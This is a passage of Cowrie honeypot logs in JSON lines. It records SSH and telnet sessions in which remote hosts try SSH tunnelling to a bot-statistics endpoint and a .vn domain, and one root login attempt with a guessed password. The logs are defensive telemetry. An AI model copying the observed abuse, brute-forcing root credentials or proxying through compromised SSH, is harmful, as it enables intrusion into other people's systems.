deflate\\r\\n\\r\\n_=dzBURmkySnVZYVU%2BX3BqMQ%3D%3DfHBh0i7VV1oULfsLBbu9bzl9FLPEzMreuLypuLaz9YCaWkkZToP7lO3vy%2Bihy%2FNXeyo%2BNExwjYNH4tlIO0UHKm5CLTzveoAm15kjnxeORr7YH5Gbwu4t2tzx7FEaRKldANf%2Fktaxy8BwKlq968B9vJlnsGtqL%2FVNUnW7xYEL2SFE0KspoNoPO4oRVjwSYfc7ukfMObSrhVBSyFhxjSNwgB9KYt%2FbLnukcz2lGz%2F32jTalS488UysxOEEL5%2F7JY2dU4AKjspnMTb9m08lp8niq5AG%2BUU4%2Fc4w301ZPAUWksR4TGyOv7k4jQzrRPF88m5dHADBQHwuXy2laIq%2By8gJ7SUPSNXba59DjQnjaaMfwTjEkRVGA%2BFX483SP4gOCRRYmqXYSrez1wz7qUwBJXlu8B2OdKmCh%2Bfcuf%2FHjAjlm%2FpV%2FzwLtdPpTGQs2x%2Br5l4BqlhDSIDgrBKp0tEgKp1eT4ZGiSwsKS4Zk6VYfEnka0SFkRb2mZIGuDuMb3ZBIoXsHt91Sif5Sn4bPYKwJqfCSrj75s6abmwufYxRfVwD5eZAgp1p6AZu41x19b8YjGb1qpiwIRxgmuk8ld5IEQs82kOjfrHRYWYx9KpdWpqgiQNtAWHyVywJ%2BehiXPYJgXlzPGu0PEyurPrDceRo3K%2BdONJHCiPGdfgF9AciIuZleBFLI%2F19k8sXpFiR4GShamVS6RGB51%2BRFLYFZACftzOqmSD3JSnoT3Rmvwp0VDbaAQoFM51yxJBSdhbsl%2FgZcmQZAsCE7w3p%2Bd9dlmLxCaXl3YDa6q%2BGJtI0mRFi9fyQAv7x9AySobhcWuonVw1ZD4p9EKkPO4K2xqVqpH7SAPqzTC0aJr6THcE7THCv0TmGvzrB8bgjnTIj10JsM4irrpnOeGLRedy0Z9bSbMAiikhyk%2B729NTKDiMkJok9FrGzBj4gjmR15xgS41T9nV%2Fo7egEdJ7C7NPWufiRu4yuYdJH6BhV0l%2FXgYcU0tKVHk8Ic0f6wU%2B9kjNQIe8yAmtR3XUJx0qbdcfpMrEAEnaiaJjPHETpjKOezIUkw6OUiMPaqKCqPjwJOlYDfeqpve0aj7WV'","id":0,"message":"discarded direct-tcp forward request 0 to 159.65.2.87:80 with data b'POST /bot/statistic HTTP/1.1\\r\\nHost: api.9hits.com\\r\\nConnection: keep-alive\\r\\nContent-Length: 1176\\r\\nPragma: no-cache\\r\\nCache-Control: no-cache\\r\\nContent-Type: application/x-www-form-urlencoded\\r\\nAccept-Language: en-US\\r\\nUser-Agent: Mozilla/5.0 (Linux; Android 8.1.0; TAB1081 Build/O11019) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.101 Mobile Safari/537.36\\r\\nOrigin: http://api.9hits.com\\r\\nAccept-Encoding: gzip, deflate\\r\\n\\r\\n_=dzBURmkySnVZYVU%2BX3BqMQ%3D%3DfHBh0i7VV1oULfsLBbu9bzl9FLPEzMreuLypuLaz9YCaWkkZToP7lO3vy%2Bihy%2FNXeyo%2BNExwjYNH4tlIO0UHKm5CLTzveoAm15kjnxeORr7YH5Gbwu4t2tzx7FEaRKldANf%2Fktaxy8BwKlq968B9vJlnsGtqL%2FVNUnW7xYEL2SFE0KspoNoPO4oRVjwSYfc7ukfMObSrhVBSyFhxjSNwgB9KYt%2FbLnukcz2lGz%2F32jTalS488UysxOEEL5%2F7JY2dU4AKjspnMTb9m08lp8niq5AG%2BUU4%2Fc4w301ZPAUWksR4TGyOv7k4jQzrRPF88m5dHADBQHwuXy2laIq%2By8gJ7SUPSNXba59DjQnjaaMfwTjEkRVGA%2BFX483SP4gOCRRYmqXYSrez1wz7qUwBJXlu8B2OdKmCh%2Bfcuf%2FHjAjlm%2FpV%2FzwLtdPpTGQs2x%2Br5l4BqlhDSIDgrBKp0tEgKp1eT4ZGiSwsKS4Zk6VYfEnka0SFkRb2mZIGuDuMb3ZBIoXsHt91Sif5Sn4bPYKwJqfCSrj75s6abmwufYxRfVwD5eZAgp1p6AZu41x19b8YjGb1qpiwIRxgmuk8ld5IEQs82kOjfrHRYWYx9KpdWpqgiQNtAWHyVywJ%2BehiXPYJgXlzPGu0PEyurPrDceRo3K%2BdONJHCiPGdfgF9AciIuZleBFLI%2F19k8sXpFiR4GShamVS6RGB51%2BRFLYFZACftzOqmSD3JSnoT3Rmvwp0VDbaAQoFM51yxJBSdhbsl%2FgZcmQZAsCE7w3p%2Bd9dlmLxCaXl3YDa6q%2BGJtI0mRFi9fyQAv7x9AySobhcWuonVw1ZD4p9EKkPO4K2xqVqpH7SAPqzTC0aJr6THcE7THCv0TmGvzrB8bgjnTIj10JsM4irrpnOeGLRedy0Z9bSbMAiikhyk%2B729NTKDiMkJok9FrGzBj4gjmR15xgS41T9nV%2Fo7egEdJ7C7NPWufiRu4yuYdJH6BhV0l%2FXgYcU0tKVHk8Ic0f6wU%2B9kjNQIe8yAmtR3XUJx0qbdcfpMrEAEnaiaJjPHETpjKOezIUkw6OUiMPaqKCqPjwJOlYDfeqpve0aj7WV'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:30:32.105156Z","src_ip":"23.175.50.51","session":"faea43517627","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":44.965675592422485,"message":"Connection lost after 44 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:30:34.615847Z","src_ip":"128.199.8.54","session":"a6e82615fa77","protocol":"telnet"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"104.21.5.61","dst_port":443,"src_ip":"23.175.50.51","src_port":0,"message":"direct-tcp connection request to 104.21.5.61:443 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:30:37.703975Z","session":"faea43517627","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.ja4","dst_ip":"104.21.5.61","dst_port":443,"ja4":"t12d1515h2_8daaf6152771_5563d4852cd1","message":"JA4 fingerprint for forwarded TLS to 104.21.5.61:443: t12d1515h2_8daaf6152771_5563d4852cd1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:30:37.766448Z","src_ip":"23.175.50.51","session":"faea43517627","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"104.21.5.61","dst_port":443,"data":"b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03\\xa1T\\x1b\\xc2\\x87D\\xf2\\x86\\xe4p\\x0e}\\xeb\\x90Hl\\x9e<\\xf91\\x19+}\\x91&1t\\x19\\x8e\\t\\xfa\\xfc #A\\x0c\\xe7\\xf4\\xbb\\xb6\\x99\\x8d\\xea\\x89\\x19i\\xcf\\x9f\\xee[5i\\xfd\\x9e\\xf0\\xfe\\x17\\xa1\\xea\\xc6\\x9b\\x7f.P\\xf2\\x00 \\xaa\\xaa\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x01\\x00\\x01\\x93\\xda\\xda\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08\\n\\n\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x12\\x00\\x10\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)\\n\\n\\x00\\x01\\x00\\x00\\x1d\\x00 \\xd2\\xd6\\xed\\xdc\\xa9DV^\\x84I<1\\x96A^\\xf5\\x10`\\x0e\\x1a>l\\xa4Xt\\x11\\xcafh\\xb1ht\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\n\\xea\\xea\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02\\x9a\\x9a\\x00\\x01\\x00\\x00\\x15\\x00\\xcc\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","id":1,"message":"discarded direct-tcp forward request 1 to 104.21.5.61:443 with data b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03\\xa1T\\x1b\\xc2\\x87D\\xf2\\x86\\xe4p\\x0e}\\xeb\\x90Hl\\x9e<\\xf91\\x19+}\\x91&1t\\x19\\x8e\\t\\xfa\\xfc #A\\x0c\\xe7\\xf4\\xbb\\xb6\\x99\\x8d\\xea\\x89\\x19i\\xcf\\x9f\\xee[5i\\xfd\\x9e\\xf0\\xfe\\x17\\xa1\\xea\\xc6\\x9b\\x7f.P\\xf2\\x00 \\xaa\\xaa\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x01\\x00\\x01\\x93\\xda\\xda\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08\\n\\n\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x12\\x00\\x10\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)\\n\\n\\x00\\x01\\x00\\x00\\x1d\\x00 \\xd2\\xd6\\xed\\xdc\\xa9DV^\\x84I<1\\x96A^\\xf5\\x10`\\x0e\\x1a>l\\xa4Xt\\x11\\xcafh\\xb1ht\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\n\\xea\\xea\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02\\x9a\\x9a\\x00\\x01\\x00\\x00\\x15\\x00\\xcc\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:30:37.770326Z","src_ip":"23.175.50.51","session":"faea43517627","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"104.21.5.61","dst_port":443,"src_ip":"23.175.50.51","src_port":0,"message":"direct-tcp connection request to 104.21.5.61:443 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:30:37.837646Z","session":"faea43517627","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.ja4","dst_ip":"104.21.5.61","dst_port":443,"ja4":"t12d1615h2_46e7e9700bed_cadd4ee51f0b","message":"JA4 fingerprint for forwarded TLS to 104.21.5.61:443: t12d1615h2_46e7e9700bed_cadd4ee51f0b","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:30:37.929163Z","src_ip":"23.175.50.51","session":"faea43517627","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"104.21.5.61","dst_port":443,"data":"b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03\\rd\\rK\\xdf\\xa9\\xa3\\xb7\\xdb\\xe2P\\xf1\\xf8{-\\xda\\xd2tD\\xc0M%\\xa5\\xb3\\x96\\xc6\\x7f\\x8c7\\x89\\xf6\\x0c \\x91\\x00\\x8a\\xee\\x13\\xbd\\x8f\\x18]\\x19\\x11\\xdf\\x10\\xe0\\xcd\\xfe\\x9e\\xe8\\xf45t\\xc8B\\x06\\x05\\x97Z$\\x9em3\\xec\\x00\"\\n\\n\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x00\\n\\x01\\x00\\x01\\x91\\xca\\xca\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08\\xaa\\xaa\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x14\\x00\\x12\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x02\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)\\xaa\\xaa\\x00\\x01\\x00\\x00\\x1d\\x00 \\x8fi\\xdb.\\xc7\\xd8\\x13\\xac\\xdfF\\xbdhF\\tKCqj\\x1cvXTE\\xc1\\x1f\\xfb!\\x98\\xe8\\x98\\x80#\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\n\\n\\n\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02\\xea\\xea\\x00\\x01\\x00\\x00\\x15\\x00\\xc8\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","id":2,"message":"discarded direct-tcp forward request 2 to 104.21.5.61:443 with data b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03\\rd\\rK\\xdf\\xa9\\xa3\\xb7\\xdb\\xe2P\\xf1\\xf8{-\\xda\\xd2tD\\xc0M%\\xa5\\xb3\\x96\\xc6\\x7f\\x8c7\\x89\\xf6\\x0c \\x91\\x00\\x8a\\xee\\x13\\xbd\\x8f\\x18]\\x19\\x11\\xdf\\x10\\xe0\\xcd\\xfe\\x9e\\xe8\\xf45t\\xc8B\\x06\\x05\\x97Z$\\x9em3\\xec\\x00\"\\n\\n\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x00\\n\\x01\\x00\\x01\\x91\\xca\\xca\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08\\xaa\\xaa\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x14\\x00\\x12\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x02\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)\\xaa\\xaa\\x00\\x01\\x00\\x00\\x1d\\x00 \\x8fi\\xdb.\\xc7\\xd8\\x13\\xac\\xdfF\\xbdhF\\tKCqj\\x1cvXTE\\xc1\\x1f\\xfb!\\x98\\xe8\\x98\\x80#\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\n\\n\\n\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02\\xea\\xea\\x00\\x01\\x00\\x00\\x15\\x00\\xc8\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:30:37.932182Z","src_ip":"23.175.50.51","session":"faea43517627","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"21.6","message":"Connection lost after 21.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:30:41.065634Z","src_ip":"23.175.50.51","session":"faea43517627","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"27.71.230.31","src_port":56928,"dst_ip":"10.17.0.5","dst_port":22,"session":"9cd3f87aff13","protocol":"ssh","message":"New connection: 27.71.230.31:56928 (10.17.0.5:22) [session: 9cd3f87aff13]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:30:43.414984Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:30:43.633909Z","src_ip":"27.71.230.31","session":"9cd3f87aff13","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:30:43.694089Z","src_ip":"27.71.230.31","session":"9cd3f87aff13","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"46.19.67.181","src_port":51540,"dst_ip":"10.17.0.5","dst_port":22,"session":"65eb44382386","protocol":"ssh","message":"New connection: 46.19.67.181:51540 (10.17.0.5:22) [session: 65eb44382386]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:30:44.960885Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:30:44.964774Z","src_ip":"46.19.67.181","session":"65eb44382386","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:30:45.080482Z","src_ip":"46.19.67.181","session":"65eb44382386","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"User@2025","message":"login attempt [root/User@2025] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:30:45.410522Z","src_ip":"27.71.230.31","session":"9cd3f87aff13","protocol":"ssh"}
